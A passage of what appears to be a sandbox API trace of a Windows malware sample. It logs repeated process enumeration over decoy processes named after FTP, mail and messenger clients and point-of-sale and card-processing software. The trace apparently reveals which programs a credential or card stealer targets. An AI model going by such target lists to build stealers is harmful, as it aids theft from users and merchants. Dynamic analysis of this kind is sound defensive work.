szExeFile="skype.exe")) returned 1 [0274.874] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0274.877] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0274.880] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0274.883] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0274.886] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0274.889] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0274.892] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0274.894] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0274.899] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0274.901] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0274.974] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0274.977] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0274.981] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0274.985] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0274.989] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0274.991] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0274.993] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0274.995] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0274.998] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0275.000] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0275.002] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0275.004] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0275.007] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0275.009] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0275.043] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0275.129] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0275.132] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.134] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0275.136] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0275.138] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0275.141] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0275.143] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0275.146] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0275.148] CloseHandle (hObject=0x1978) returned 1 [0275.148] Sleep (dwMilliseconds=0x64) [0275.149] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0275.164] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.166] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0275.168] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0275.170] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.172] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0275.174] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.176] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0275.178] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0275.180] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0275.183] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.185] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.187] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0275.189] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.191] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.196] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.197] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.199] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.201] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.203] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.205] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0275.207] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0275.208] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0275.210] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.212] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0275.214] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0275.216] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0275.218] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0275.219] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0275.221] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0275.223] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0275.226] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.228] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0275.230] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0275.231] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0275.234] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0275.270] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0275.281] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0275.283] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0275.285] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0275.287] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0275.288] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0275.290] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0275.292] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0275.294] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0275.296] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0275.298] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0275.299] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0275.301] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0275.304] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0275.306] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, 